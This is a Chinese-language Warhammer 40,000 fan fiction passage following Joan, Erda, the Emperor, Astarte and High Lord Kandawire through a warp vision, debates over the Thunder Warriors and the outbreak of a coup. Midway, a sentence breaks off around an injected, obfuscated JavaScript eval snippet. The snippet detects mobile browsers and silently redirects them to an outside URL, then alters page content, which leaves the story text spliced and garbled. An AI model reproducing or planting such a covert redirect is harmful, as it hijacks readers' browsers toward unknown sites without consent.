风卷着她们跨越现实与梦魇的边界,暗潮如墨自身后翻滚,尖啸如同被剥皮的神灵在咽喉深处哀鸣,长夜未尽,昼光未临,一切都在崩裂的边缘上喘息。身躯沉入无重力的深渊,每一步都将脚底的虚空碾成碎片。 就在那一瞬,琼安手腕上的坠子亮了。 炽热的灵能光环如破晓之火般绽开,仿佛久睡的天鹰在此刻展翼。她骤然一震,被那羽刃死死钉在原地,灼穿灵魂。热流瞬间灌入脑海,记忆翻涌,血液在血管中奔腾,意识中的迷雾被一缕金光撕开,如风暴撕裂夜海。她听见了什么声音——不是来自尔达,也不是这片疯狂虚空的呢喃,而是某种遥远而庄严的召唤,一声如同来自人类本源的命令: +醒来+ 她停下脚步。 “琼安?”尔达察觉了,她回头,长发被风撕扯得如裂帛横空,凝视琼安的眼如深海的眼,潮汐翻涌,映照着星辰和风暴,却唯独不映人心。在那一瞬,熟悉的阴霾与腐朽疯狂、无法形容的气息扑面而来,如从遥远神祇的梦中渗出的黑潮,无声地攀附上她裸露的皮肤与灵魂的褶皱。那并非肉眼可见的变化,却在她的眼角与指节之间悄然酝酿。她的瞳孔在微微跳动之间泛起粘稠的紫黑,有某种光线无法穿透的薄膜覆盖其上,折射出诡异而非线性的弧度,从常理世界崩塌边缘探出。吹拂她的风从不属于现实世界的裂隙中吹来,卷动她的长发她的身躯她的意识,在她肩头披上一层若有若无的影子,蠕动、抽搐、低语,饥饿许久的恶念正透过她的血管苏醒。 “你还好吗?琼安?”她的声音还是那么轻柔,像母亲在摇篮旁的低语,但在每一个音节的尾音,都有不属于人类语言的尖锐音节穿插其间,令琼安的耳膜泛起潮水般的战栗。 亚空间的风,在她周身凝聚成了某种形状,一只眼,一根骨指,一张无面之脸,一些腐烂。 它们不是实体,而是概念本身——谎言的源头,腐朽的权能,欲望的尽头,恒久的病变。 而尔达....仍是她,却又不再只是她。 琼安猛地挣脱她的手,整个人如被烈焰灼烧般向后踉跄一步,天鹰坠子的光辉化作灵能之羽,驱散了缠绕四周的暗影。她的眼睛重新聚焦,挣脱了那场如梦魇般的奔逃。 她理解了,她终于理解了。 亚空间终于在她眼前缓缓张开它的内腔,如亘古神祇的裂嘴——无数思维碎片如触须一样探出,想要攫住她的心智。而在那金光的庇佑之下,她看见意识的倒影,这一切混乱的源头——凡是有思想的存在,凡是经历痛苦与愿望的灵魂,都会不自觉地在它体内留下投影。 那里有赤红的荒原与血海,无数被焚烧的王座和欢愉中扭曲的哭嚎,有不断堆叠重生、又不断腐败剥落的群体意志,有美丽得令人发疯的公式在永远无解的梦中咆哮,有一朵朵诡异光焰以极乐之姿吞噬着永恒。 她终于明白了。 帝皇并非冷酷无情,也非至高全知。他不是造物主,而是囚火者。他以凡人之躯对抗非人的黑暗,选择背负全人类最深沉、最丑陋、最可怕的影子——哪怕那意味着要用谎言换取秩序,用屠杀掩盖真理,用冷酷掩埋自由。 “他并非不想他们成为人。”琼安的嘴唇轻轻颤动,声音在混沌的风中破碎,“只是,他太清楚,为了人类,他们不得不承受作为工具的代价。” 她看向尔达——那不再只是尔达的尔达,曾经纯粹的眼睛已然映照着混沌的低语,映照着名为自由的谎言。 “我不能原谅他,不管是这件事,还是其他,”她的声音带着颤栗,“但我....无法否认他。” 她伸出手,从天鹰里散发而出的灵能在指尖燃烧,光辉透体,似血亦似火,烫得尔达不得不松开她的手腕,然后目睹这光明将整个世界分裂开来。一边是永恒的混沌,一边是秩序的残酷,而她们站在裂缝的两侧,目睹这极端的真实。 “如果下坠是唯一拯救人类的路,那我会与他共同堕落,”她轻声说,“成为他罪孽的共犯,与他承担我们作为人类这个物种最后的可能。” 扭曲的幻象消散了,坠落的星辰重新归于天际。她们此刻伫立于午夜之中,立于一片荒漠之上。苍穹之中,一轮硕大的月亮高悬,冷光如水洒落大地,然而影子悄然铺展,将她们割开,像刀锋穿过沉默的夜。 “你过于天真,只要比你年长的人说什么便信了。”隐忍的愤怒爬上尔达的声线,像是一把未曾完全抽出的剑,剑刃已然映出了锋芒,尚未见血。“一个连地球都无法完美治理的人又怎能荡平银河呢?一个写下真理,却又放任它自相矛盾的人又怎能用这真理说服每一个民众呢?你曾亲眼见过他掌权的模样,你见过他站在万人之上的时候,也见过他如何以沉默的仁慈和冷酷的决断来塑造这个帝国。但你真的相信,他能创造一个比旧时代更光辉的未来吗?” “但你也无法否认,他做的是必要的。”琼安说,带着不容辩驳的坚定。“他的选择从来不是正义的,而是唯一的。尔达,有时候,‘必要’比‘正义’更可怕,这事实令我连骨髓都要颤抖着萎缩,可偏偏在此时的局势它却也更加重要。” “这不是必要,而是他自己选择了相信它是唯一的出路。” 尔达步步紧逼,澄澈的蓝眸里映着火光,亦燃着琼安的影子。“他自封为帝皇,他的存在本该成为众人未来的支柱,而非让自己存在的本身变成一场理性的狂信。” 琼安垂下眼,目光轻轻扫过粗糙的地面,夜色的冰冷仿佛透过空气传递至她的心底。她沉默了一瞬,才缓缓开口: “他不是神。”她的声音比风还轻,“他不是无可动摇的真理,他只是在泥沼里挣扎的凡人,是被命运捏碎又不得不重塑自身的执政者。你要求他保持完整,保持风趣幽默,和蔼可亲,可这个世界从来不会允许他完整,做个理想的哲人王。” “我从未支持他,那让我痛苦,甚至恨他。”她轻轻道,“可我想,我开始理解他了。” “我明白他的野心,明白他的残忍与冷酷无情,明白他自掘坟墓的宿命。我也明白,按照旧日的律法,他不该被原谅。” “可如果”年轻的女孩看向年长的女性,“如果连我都无法承认这理想下埋藏着的无数骸骨,承认这一切的‘必要性’,那么这个世界还有谁能承担它?承担人类的未来?” 一抹悲哀悄然爬上尔达美丽而成熟的脸庞,那种情绪是如此隐秘而深刻,像一个母亲看她无可挽回的孩子,又掺了些别的什么东西,有那么一瞬琼安很确信她明确地看见了一种怀念,属于依旧怀念某个早已被遗忘的死者的未亡人,可转瞬即逝的眸光又让她觉着一定是错觉,短暂得让人几乎怀疑那是否真的存在过。 她实在不擅长与这些远比她更聪慧又更年长的存在打交道甚至辩论,她甚至已经开始后悔,后悔自己说出了这样的话,后悔自己试图去撼动那些在她之前便已根深蒂固的信念。可箭在弦上,话语一旦出口,便再也无法收回。 夜风轻轻拂过,带起尔达鬓边的一缕发丝,她神色如常,仿佛什么都未曾发生。 “那你便去吧,”她说,“去行你的路吧,若你相信这是你该走的路,那么便走下去,别回头。然后任凭命运向你索取所需支付的价码。” 琼安怔怔地看着她,夜色下尔达的身影被月光勾勒得柔和而遥远,她站在那里,如同一座亘古矗立的雕像,既不阻拦,也不指引,只是目送着她——或者说,目送着所有像她一样的人,在各自的道路上越走越远,直至看不见彼此的身影。 “你会后悔吗?”琼安终于开口,声音微微发颤。 尔达露出一个很浅的笑容,那笑意轻如微尘,却早已是经历过无数风霜的余烬。 “我们这样的人,每个人,都会在某个时刻回望自己曾经的路。”她说,“但后悔?”她轻轻摇头,“如果有一天你也到了要回望过去的年纪,便会明白,有些无可挽回的东西早已不值得你去留恋。人总是会后悔的。即便他们做了最正确的决定,走上了最合乎逻辑的道路,他们仍然会在某个夜晚,在无人知晓的时刻,于梦境之中,于微光映照的杯盏之间,忽然想起,如果当初换了一条路,又会如何?可是,世界上没有‘如果’。” 琼安望着她,久久无言。 最终,她深吸一口气,攥紧了手指,转过身,朝着月光照不到的深处走去。脚步坚定。她的背影渐行渐远,直到彻底融入深沉的黑暗之中。尔达站在原地目送着她离开,眼神依旧平静如水。可当风再一次吹过,她垂下眼睫,在漫长的沉默里,缓缓闭上了眼。 夜色无声,唯有风在耳畔呢喃,带着不知名的预言,在未曾抵达的未来里缓缓应验。 一片黑暗中,她睁开眼。 自从灵能的觉醒以后,那些曾让年幼的她反复失眠的痛楚与万年的光阴比起来,便成了恼人的噪音。可眼下,伴随意识清醒所绽放于体内的痛觉一下子占据了身躯,撕裂了琼安的四肢,占据了每一条还在运作的神经。 她下意识地想用灵能缓解这股痛,但却立刻感到一阵阻力,仿佛有什么东西在阻止她做出这一举动,好像被堵塞的呼吸。 +别乱动,保持平衡+ 一个威严的声音自意识深处响起,琼安本能地遵循着这一旨意,缓慢地做起深呼吸来。嗡鸣逐渐退去,世界的轮廓一点点归位。视觉重启,她再度睁眼。 她身处于医疗室之中。熟悉的白色墙面与仪器微光映入眼帘——这是她亲手建立的部门之一,甚至,摆在她左侧的设备,也曾被她亲自调试。而眼下,她正躺在床上,盖着被褥,浑身插满管子,但房间里没有负责操作仪器的仆人,她又稍微往旁边看了看,这才找到原因。 在医疗室远端,那掌握数亿场生死,将命运捏成工具随心挥舞的男人此时卸去了满身金甲,身披学者的白衣,正安静地盯着仪器上的指数。见她彻底醒来,恢复意识后,才挪开视线,认认真真地去看她。 “我让禁军们去追寻你的踪迹,然后将你带了回来。”他解释道。 他的声音不大却很清晰,仿佛直接击中意识深处某个不敢触碰的角落。她张了张嘴,想说些什么,可脑海里却只有一阵迟缓的空白。有什么....本该在这里。她依稀记得奔跑的风,咆哮的云,星星在她脚下炸裂。她想了很久很久,才从迟钝的脑子里挖出了一个名字。 尔达。 “你被亚空间迷惑了,”他轻声说,没有了铠甲带来的压迫,反倒让她想起过去那个温文尔雅的教师,“我不在的时候,它趁虚而入,在你意识中留下痕迹。它制造了一个幻象,一个精致的牢笼,让你以为自己拥有了选择。不过污染不深,我已清除了它。” “尔达去哪里了。”她疲惫地开口,然后被那粗粝的,不像是自己的声音吓了一跳。 “她犯下的罪,远比你想象的更深。”帝皇道,语调平稳,几乎无喜无怒。“她以‘人类’的自由为名,放任灵能的蔓延,引来了那些不能命名之物。你知道那是什么。你也见过它们的本质。” 他俯下身,为她调节了一下管线与注射器,动作温柔得与他的言语几乎相斥:“她想要拯救自己,但她的方法,是放弃控制。她打开了一道门,却不知那门后通往的是深渊。” 琼安闭眼,脑中浮现出尔达的笑,沉默短暂地降临,只剩仪器运作的滴答声,如同倒数计时的钟。 “那么,你接下来的计划又是什么。”她问。 帝皇没有立刻回应,从医疗室小小的窗户里可以看见远处的天空与覆满白雪的山崖,此时最后一抹夕阳已经消逝于夜空之中,整个天都泛着某种由浅至深的蓝色,远处的苍穹已有星星冒出头,而他端详着那些小小的光点,难以参透的眸色里泛起情绪,若要寻找比喻,琼安恐怕会将它形容为一种永恒却不近人情的“温柔”。 那不是属于凡人的感情,因它穿越了千秋万世,早已冰冷得无法用善恶来衡量,可又确实铺满了厚重的仁慈与悲悯,如见惯长夜的老者看点燃的,名为希望的明日。 “到银河去,到无数个世界里去。直到所有曾经发生在泰拉上的战争与军阀,在那些世界里也同样化作历史。” “你说过,这世界上没有神,”她望着他,“可我们在做神该做的事。” “将人类拖出深渊的路,不可能不沾血。”他淡淡地说,“带着你的罪,继续走下去。” 琼安沉默许久,万千星河在她脑中沉浮,无数个世界的人民在煎熬中抬头望向天际。然后,她缓缓抬手,抓住他垂下的一角衣袖。 “....你是对的。”她沙哑地说,“我们本就无路可退。” 没了灵能的力量,病去如抽丝的体验终究又回到了琼安的身体。帝皇花了一定程度的时间彻底排除她体内所有亚空间造成的影响,它们早在她还孤身一人带领民众们建立庇护所的时候就已悄悄缠上了她,如顽固的菌丝一般藏进她的血管,若非琼安意志坚定,恐怕她也像其他人那样,早已化为邪神的傀儡。 过去了很久以后琼安才重新回到工作之中,重新与阿斯塔特女士相逢后,她发现她比以前还要沉默,原体的丢失成了所有知情人心中的伤口,而显然留给阿斯塔特女士的伤比其他人更加深刻。过去的影子无时无刻不在缠绕她,就像琼安自己也常在深夜里饱受折磨。然而,背负同样的伤口并没有让她们的关系变得更加热切,她淡漠地拒绝了所有琼安尝试释放的好意,选择独自一人扑在实验室的工作里,却又说不上多么狂热,仿佛一辆已经不得不停下的快车,只是靠着惯性继续滑行,谁也说不清她什么时候会真的停下来。 “我们已经失去希望了。”当琼安第无数次尝试拉近两人之间的关系时,她这么直白而简洁地告诉琼安,“我看不清继续向前有什么意义。” “如果停滞不前的话,那才是真正的没有未来。” 阿斯塔特深深地看了琼安一眼,视线缓慢地划过她苍白而光滑的皮肤,垂在脸颊两侧的柔顺黑发,以及那双从未被岁月改变过的,墨色的大眼睛。她低声笑了,瘦削的胸腔震动,干瘦的身躯好似飘零的孤叶。 “未来,多么新鲜的词,”她讽刺道,“对于一个见过无数次毁灭的老人来说。” “没有那片最完美的拼图,这些新造出的产品,只会和你在乎的那些小雷霆战士一样,变成用完便弃的工具,因为自身的缺陷产生故障,然后酿成更大的祸端。我早就老了,疲惫不堪,被工作压得不堪重负,可你还年轻,你会永远年轻,永远天真。即使这一次的造物失败了,你在一片痛苦之中煎熬过后,又会很快地把自己拼起来,继续向前进。你们这样的人总是如此,仿佛岁月和时间对你们而言只是一场游戏。” “你也把我当成天真的孩子了,像他一样。”琼安叹气,“我好歹还当过你的老师。” “你的年龄和阅历或许提升,但你的愿望却相当年轻。”她的语气仍旧淡淡的,可琼安却在那“年轻”两个字里,听出了苦涩的妒意。可那不是嫉妒,琼安意识到,而是一种哀悼,对曾经的自己。 她们无声对视了一会儿,又忽然一起笑了出来,不管是出于什么原因。不是喜悦,而是一种习惯性的人类反应——仿佛笑一笑,就能对抗那些早已无力承受的重量。 笑声落定后,阿斯塔特缓缓移开目光,声音重新回到那个克制、冰冷而平静的调子里。 “你知道我一直希望,这些新的战士将会成为人类的庇护者,像灯塔一样照亮夜海。”她语速很慢,在说话的同时也在拆解自己的思绪,“我向来相信,他们会弥补雷霆战士的失败,会成为我们和未来之间那道残酷裂痕的缝合线。而所有的缺损,都会被他所设计的原体们填补。” 她顿了一下,端详起自己干瘦的手指,“但现在我只看到他们一次次地重复我们过去犯下的错误,仿佛我们倾尽一切所造之物,只是更华丽的毁灭器。你也知道,他不会停止。他只会一次次从他们的毁灭中提取教训,再做出下一批,直到....直到这个帝国再也容纳不了一个多余的心跳。” 她终于直视着琼安,那双眼睛里没有明显的情绪,却有一种更令人窒息的东西——彻底的、无可救药的失望。 “我比你年轻,却早能预见未来,琼安女士。我看见他们像雷霆战士一样,一个个倒下,却再没有人记得他们的名字。他们会因为各种缺损而病变,会因为政治需要被拆解,会因为战争机器的本性而互相撕咬。” “我不是神,我只是个工程师,一个曾经自诩为‘科学之母’的失败者,创造无数扭曲的怪物只为活着。”阿斯塔特低声说,“但如果,这就是我留给这个世界的遗产,那我宁愿这个世界,从未有过我。” 说罢,她转过身去,拿起一份数据表开始填了起来:“如果你要跟他打小报告那就去吧,只是别再妨碍我的工作。” 漫长的工作结束以后,琼安躺在床上,在翻来覆去间懊恼地无声叹息。 “没有你该怎么办呀,尔达,”她闭上眼,“现在的年轻人已经完全没办法沟通了。” 琼安沉入梦境。 梦里是一片荒原,荒原上有个屋子,屋子里有个人。她记得这里,她来过很多次了。脚踝陷进微凉的沙砾,远方的灯火亮起,琼安往前走,看见尔达站在屋子门口看着她,笑得意味深长:“你来找答案吗?琼安?” 她笑起来的样子让琼安想起她们第一次见面,那时她还是个藏在尼奥斯阴影下的孩子。尔达和她打招呼,跟她聊她学校里的课题。琼安只是一个不太擅长社交的女学生,像回答学校老师一样怯怯地回答尔达每一个问题,在心里想这位美丽的女士与尼奥斯的关系。 “放心,那是和我一样的人。”尼奥斯拍了拍她绷紧的肩。 “那就是伴侣了。”她想。 有尔达在的,充斥着灵能雾气的梦总是带着层层叠叠的意味,她说话时也是如此,圆圈套着圆圈,隐喻套着隐喻。梦中她的声音像时间的回音,偶尔带着历史一般的沉重。第一场梦降临的时候琼安在睡眠中因心脏的重负与梦魇而低吟,直到一双清冷的手抚过她颤抖的身躯,她哭了起来,而后才意识到那是许久未见的尔达。后来的几次会面都是类似的情况,被阿斯塔特无声排斥的那些日子里,她也曾斥责过尔达的背叛,但是狂傲地认为,仅凭辩论与所谓的证据就彻底改变一个人的认知,是极为愚蠢的想法。最终年长者还是与年轻者找到了某种平衡,尽管有一段时间她们的谈话总在不欢而散中结束。 “她在讨厌我,因为我是永恒的。”琼安告诉尔达,“我想她觉得万年的光阴对我来说不过只是孩子度过一个漫长的青春期,而现在的我与初出茅庐的大学生没什么区别。” “如果以前,她对我只是带着青出于蓝的傲慢,那她现在开始真正厌恶我了。” “阿斯塔特?”尔达问。 琼安点点头,揉着额角,嗓音沙哑而干脆:“她觉得我和你们一样。‘永生者’,高高在上,把人类当成玩具。雷霆战士,新一代的改造兵,各式个样的计划,‘人类未来’的实验品。我们就像……拿着玩具的小孩,看它运转,看它摔碎,再一笑了之。” 她转头望向尔达,带着些许不甘的失落:“她把我当成你。甚至说,你‘因为爱,就毁了最伟大的计划,像是顺手捏碎了一颗星球。” “你也这么觉得吗?我也变成了那个样子?像个看着沙盘的操偶师?” “你不是。”尔达说,“但她认为你不会死,不会痛,就开始恨你的永恒。就像她恨我,恨我不为选择付出代价。她相信痛苦本身是一种诚实,而我们对她而言,显得有些太冷了。” “我确实不会死,”琼安声音微凉,“但我会疲惫。” 尔达沉默良久。夜色在她眼中流动,像潮水中的星光。 “她在看我,但你们也在看我。”琼安闷闷地说,把自己彻底埋入尔达房间里软乎的靠垫中:“像在看一块新鲜的肉。” 听完这话后,尔达笑了:“你也在看我们。像看着雕像,亦或是神祇。” 琼安不否认。她从很久以前就在看帝皇,那位带领人类前进的存在,那个给予她指引,亦是让她质疑的监护者。而尔达呢?她和帝皇相识已久,他们之间有着琼安无法触及的共同语言,在他们分道扬镳以前,她一直觉得那是一种比血缘更深的纽带。 他们两个都像是夜空中的恒星,遥远而明亮。而琼安——她只是一颗燃烧的流星,在他们的轨道间穿行而过,不确定是否有曾留下痕迹。 她现在终于可以坦然承认了,她在憧憬他们,同时也在嫉妒他们。 “你们活得太久了,”她低声说,“你们看见了太多,知道了太多,你们的眼神让我觉得自己只是个短暂的影子。我也想像你们一样为了人类做些什么,我总是迷茫。” 尔达沉默了一瞬,开口道:“但正因为如此,我们才会看着你。” 琼安抬头。 “年长者总是不自觉地注视那些鲜活的孩子们,”她解释,“你身上有着我们早已失去的东西。” ——年轻,纯粹,仍然虔诚而盲目地愿意去相信。 是啊,不仅只是尔达,她也曾这样被帝皇用带着某种复杂的目光注视,如同在回忆,或像是在抓住什么。他不会承认,但她确实感觉到他的视线停留了那么一瞬。正如尔达所说的一样,她的鲜活吸引着他们,他们的沉稳也吸引着她。可是,帝皇向前行,尔达朝着另一个方向而去,他们最终会走向他们的未来,而她——她必须找到自己的路。 “你想好要怎么做了吗?”尔达问。 琼安看着自己的双手。她想要的是什么?是像帝皇一样去塑造人类的未来,还是像尔达一样试图改变他,却终究走向背离?在这为了人类的旅程之中,还有什么路可以走呢?她不知道。她只是站在这里,被推搡着、拉扯着,置身于命运的洪流之中,而她的每一次踌躇,每一次凝视自己的手掌,都是在追问那个无法回答的问题。 但至少为了人类,她不能离开这里。 “等你有了答案,再来找我吧。”年长的女性用慈悲的目光注视着她,梦境像潮水般退去,将她冲刷回现实。 战士们已经足够完善,后续的调整工程交由阿斯塔特管理便可以了。于是一份新的工作摆在琼安的面前,将她暂时带出了实验室及那令人压抑的环境。纵使泰拉上的人们再怎么崇敬他们的领导者,帝皇也毕竟不是神明,他不能管理一切。因此,当帝皇亲征古老大陆、以超常之力重塑战线时,帝国的日常运作便交由他与马卡多所设立的高领主们来维持。 那些人,尽管个个拥有过人的才能,却也不乏有人在血腥政治的漩涡中挣扎上位,而帝皇只关心他们是否“有用”。早在泰拉的权势被划分,利益被分配的时候,琼安就没有参与了。权利的争斗让她觉得厌烦,于是她退入实验室,沉溺于基因重塑的深海,任由其他人去争权夺利。 而当她终于步出实验室时,局势已定,新的统治阶层如雕塑般列于王座前。琼安不是其中一个,但帝皇给她的安排也很符合他对她的认知,远离政治,贴近知识。她又开始教书了,不仅负责进阶培训所有将为帝国军团提供医护支持的高级医官,还要主管帝国最高医学组织,并编撰起帝国范围内所有医疗、基因修复、战伤治疗等事务的应对法以及规则。历史学家们又被帝皇带了回来,成为帝国不可缺少的一部分,有时百忙之中琼安也会过去看看这些年轻的学者们,提供一些必要的指导。 因此,当尤沃玛·坎达维瑞,法务部的部长,一位高领主,主动联络她并请求会面的时候,琼安着实吃了一惊。 她的名字与身份琼安自然是听说过的——太多人都听说过她,因为法务部的大权掌握在她手中。她的经历本身就是传奇:在泰拉最动荡的岁月中挺身而出,为法律、秩序乃至“正义”而与权力本身搏斗。人们说她冷酷,也有人说她正直如刀锋,无论如何,没有人敢轻视她。 于是,当琼安推掉很多待办事项,特地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15450325|169465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抽出时间允许这位高领主来到她的办公室时,她罕见地感到了一丝困惑。她穿着一件剪裁简练的长袍见了坎达维尔,医务用料,领口略高,银色的金属铭牌映着日光。没有佩戴任何象征地位的饰物,也从未需要。她的名字本身,早已比大多数勋章更具分量。 “琼安女士,久仰大名。我听闻您最近将重心转回教学,泰拉大学医学分部一度为了得到您的讲义而奔走相告。”来者的声音沉稳,带着与岁月抗衡的力量,“能抽出时间见我,是我的荣幸。” 琼安抬眼看向她,坎达维尔并非帝皇身边那类盛装华服、金纹缀甲的贵族,她穿着简洁而美丽的天蓝色长袍,披着与袍子的颜色相称的白色纱巾,把深色的皮肤衬托的十分光洁。虽然身材过于圆润,眉眼也坚定如旧日法典雕刻上的人物。她站着,厚厚的手交叠在身前,看似谦恭地向琼安致意。 琼安微微点头,温和却不失分寸地指了指办公桌对面的椅子:“高领主阁下。说实话,我很意外你会求见我。” “的确,我看起来不像是那类会了解太多科学技术的人。但我确实有问题需要向您请教。”坎达维尔也不恼,反而像早已预料一般,笑意转为恰当的尊重与谨慎:“我这次前来,主要是想请教关于雷霆战士的几个细节。泰拉各地的军事档案里提到过他们的多次部署,却鲜少有详细记录。您曾负责过他们的改造,或许能补全一些空白?” “他们确实部署过很多地方,也做了很多事情。但大部分早已封档,甚至连我也不知详细。我并未参与太多雷霆战士的改造,在那一阶段,我负责的是前期基因稳定和身体兼容性测试的辅助工作,且很早便脱离了研究团队,指挥调度并不在我的权限范围内。” “可他们的改造结构确实由您和阿斯塔特女士经手。” “正因如此,我才被安排在更靠后的区域。我更擅长构造而非实战。”她抬眼看向对方,“坎达维尔,我知道你精通审讯与提问,也正因如此他们选择把你提到这个位置上来,但我并非被告,刁难一个学者对你一点益处也无。” 坎达维尔顿了顿,随后轻轻一笑:“您误会了,我只是出于关心。雷霆战士计划从未有过正式的终止说明,泰拉的个别行政区域对他们的离去仍充满疑虑。哪怕目前的局势已经平稳,一切尘埃落定,这段历史仍然需要被如实审视。” “历史确实需要被审视。”琼安微微垂首,像是思索片刻,然后才道,“但雷霆战士从来不是孤立项目。您若真想追查,或许该从曾经负责后期调遣的那几位领主,以及初期参与战场指派的几位政务官入手。我能给你查阅的资料……只是些构造图纸和理论文档,不值一提。” 坎达维尔看了她片刻,然后将视线投向窗外,那是远处帝都天际线、在金色日光下微微颤动的幻影。 “他们消失了,帝国的战士们。”她说,光芒洒落在她眼中,让琼安想起第一次看见那些战士们时,心中的情绪,“但他们也有名字,也曾流血,也曾在呼吸之间做出抉择。恕我冒昧,他们不是您口中‘构造的成果’。我看过一份战地简报,其中一队雷霆战士,为保护撤退的工程队,在大气层边缘与整支军阀的改造人士兵同归于尽。挥官的姓名已被抹去,最后的记录是一段碎片化的战斗语音,他在说,‘不需要记得我,只要知道我们还在。’” 琼安点了点头,没有接话。她沉默得令人不安,不是冷淡,而是那种让人必须小心措辞、谨慎发问的沉默——像是站在无菌实验室门外,需要仔细斟酌每一步程序。 “我能提供给你的答案有限。”她最终开口,随手摘下自己的铭牌递给对面的女人:“有我的许可,你可以随意查阅现存的资料,也可以使用你自己的权限前往实际的地方查考,如果重回那些被打扫干净的战场对你有帮助的话。不会有情报监听站过多关注你。” “如果你没有别的事的话,那我就先回到我的实验室了,”说完这些后,琼安摇了摇头:“有一批学生要在下午给我看他们的成果。” 短暂的寂静之后,坎达维尔站了起来,收起琼安的铭牌,轻轻将散落的纱巾拨至肩后:“那我便不打扰您更多了。感谢您的时间。” 琼安也起身相送,笑意模糊:“也谢谢你为泰拉的和平做出的努力。” 坎达维尔离开前,在门口驻足片刻,回头望她一眼,那眼神里多了一种微妙的审视:“如果我找到什么有趣的事,会邀请您再见一次。” “我会考虑,如果我有时间的话。” 门在那一刻缓缓合上。 琼安回到桌前,指尖轻轻敲了敲桌面,眉心紧蹙。她不信坎达维尔只是来“了解雷霆战士的历史资料”。但她也不打算阻止她继续调查,有些事情,若能由其他人查出,未尝不是一件好事。毕竟,真相这个词,在帝国里太过沉重,她早已不想再独自背负。 高领主的第二次求见同第一次一样突然,并不在琼安日程的预期中,但她还是为坎达维尔再次留出了时间。 “我带来了证据,”坎达维尔说,“您会感兴趣的。” “那么,我们换个地方谈,”琼安轻声道,语气温和得近乎懒散。 她带坎达维尔穿过医疗塔后方的螺旋长梯,一路向下,穿越重重权限门禁,最终来到一间极为隐蔽的静滞展厅。那里封存着大量泰拉古文明的残骸,其中最引人注目的,是一具全身泛银的大象标本——那是在泰拉还被称为地球时,某片被焦土战争烧尽的遗址中抢救出来的,琼安亲自负责将它保存于此。 “你知道‘想象’这个中文古词的词源吗?”她抬起手指点了点那头快成为化石的动物,“古中文里它源于大象——庞然、沉默,带着重量。古人观象以知万象,借象以存思。然而,人类的想象终究与现实有很大的差别。在我带着我的学生们前来这里参观古代标本之前,他们当中最聪明的,也只觉得大象是一种会移动的大型肉块。” 坎达维尔微微一怔,随后掩在礼貌笑意后的目光微妙地眯起。“而我更熟悉一句俗语:大象斗殴,殃及草地。草地也会记得血的味道,将所有人们试图掩盖的痕迹埋藏于其中。” “我在阿拉拉特山上找到了一些有趣的证据,帝国的雄鹰徽记,盔甲碎片,如同黄金制的碎片。数不胜数的残骸,我可以直白地告诉您,在那片山上死了很多人。哦....您应该参与过盔甲的设计?” “并没有。”琼安回答,“我只研究医学和生物。” “那好吧。”坎达维尔说,“但您可以再看一看我们搜集到的数据。” 接下来的谈话没有再深入,带着那些碎片一般的证据和报告书,坎达维尔数次试图绕圈套取更多内情,而琼安一一应对,以温吞而精准的语言封住了所有缝隙。她没有直接拒绝那位高领主,却也不曾给予任何实质性支援。谈话结束时,坎达维尔的笑容已不再从容,临走前她回头望了静滞场里那头大象许久。 她一走,一道高大的影子便从阴影中缓步而出,仿佛他早已等在此处。他的面庞依照她的标准,还是个刚成年不久的年轻人,两侧的头发剃光,镇定而冷漠的视线自上而下地盯着琼安,绷紧的肌肉如同出鞘的利剑,或者下一秒就要爆发的火药。 “康斯坦丁·瓦尔多,”琼安抬头看他,“万人之首,帝皇之盾。” “琼安女士。”瓦尔多点头致意。 他们站在化石标本前,沉默无言。 “她想要真‘相’,”瓦尔多率先开口,在某些地方刻意用了古中文词,“而你给了她一块象牙。” “我不喜欢有人敲我的门,用我不喜欢的方式。”琼安望着那头骨骼大象,“你来的比我想得早。” “我从不迟到。”瓦尔多耸了耸肩,像是在试图用玩笑掩饰他接下来的话语重量,“他送我来到这里,而我来,是要告诉你关于雷霆战士的事。” 琼安转过头来,神情一下变得冷静而锋利。 “他们出问题了,不是吗?” 瓦尔多不再绕圈。 “默兰德·森战役后,我们发现多支雷霆部队在精神领域出现异常迹象,□□退化、失控行为变得更加频繁,甚至个别战士在战场上的发狂与屠戮行为被证明与混沌有关。” 琼安闭上眼,从记忆里调出关于那场战役的事,她想起那些疲惫归来的战士。他们的创口愈合迟缓,神志异常,甚至有人出现语言错乱。 “我一直认为是基因改造的副作用。”她缓缓说,“你现在告诉我,是混沌的渗透?” “不是怀疑,是确定。”瓦尔多低声回应,“而他们消失也是必然。” “一个工具不再好用,那就丢掉换成新的。一批战士不再忠诚,那就抹杀他们过去的贡献。”琼安冷笑一声,“但与我不同,她想要法律正义,我是说坎达维尔。她想以秩序之名,为消失的战士们讨个公道。” “她会失败。”瓦尔多面无表情地说,“吾主将再次启程前往月球,去获取更多残存的基因技术与样本,为下一代战士的改良做准备。” “我不想去。” “他料到了。”瓦尔多看着她,“他说你可以留在泰拉,旁观这场‘分裂’将如何演变。但也提醒你——不要忘记你的职责。” 那是一句极为沉重的警告。琼安没说什么,只是在瓦尔多离开以后,长久地沉默了下去。 政变起于几个月后。泰拉的防御系统接连遭遇“技术故障”,中央议会停摆,数支预备军团开始联合行动。坎达维尔果然走出了她那间办公厅,站在法律与秩序的名义之下,率领大量的武装士兵和幸存的雷霆战士,从狮门入侵,发起了进攻。 而琼安没有料到的,是阿斯塔特的加入。 她本以为总是沉默的阿斯塔特不过是站在中立的位置观望,如她一贯那样。直到那天傍晚,她在一片混乱中前往实验室保护样本,而在必经的通道里,琼安遇见了她。 “别再往前走了。”阿斯塔特冷冷地说。 “你加入了坎达维尔。”琼安凝视她,“你明知道,她不过是另一个幻想着大象的人。” “坎达维尔?她的计划很天真,跟我一点关系也没有。”阿斯塔特冷笑,“至于你,是象背上不肯醒来的骑象人。你看着那些新战士诞生,明知他们不过是另一批等待牺牲的器皿。” “每一次文明的构建,都要先铸造祭坛并摆上牺牲品。你想把祭坛炸毁,我明白。可你有没有想过,这样你毁掉的也包括——我们全部的未来?” 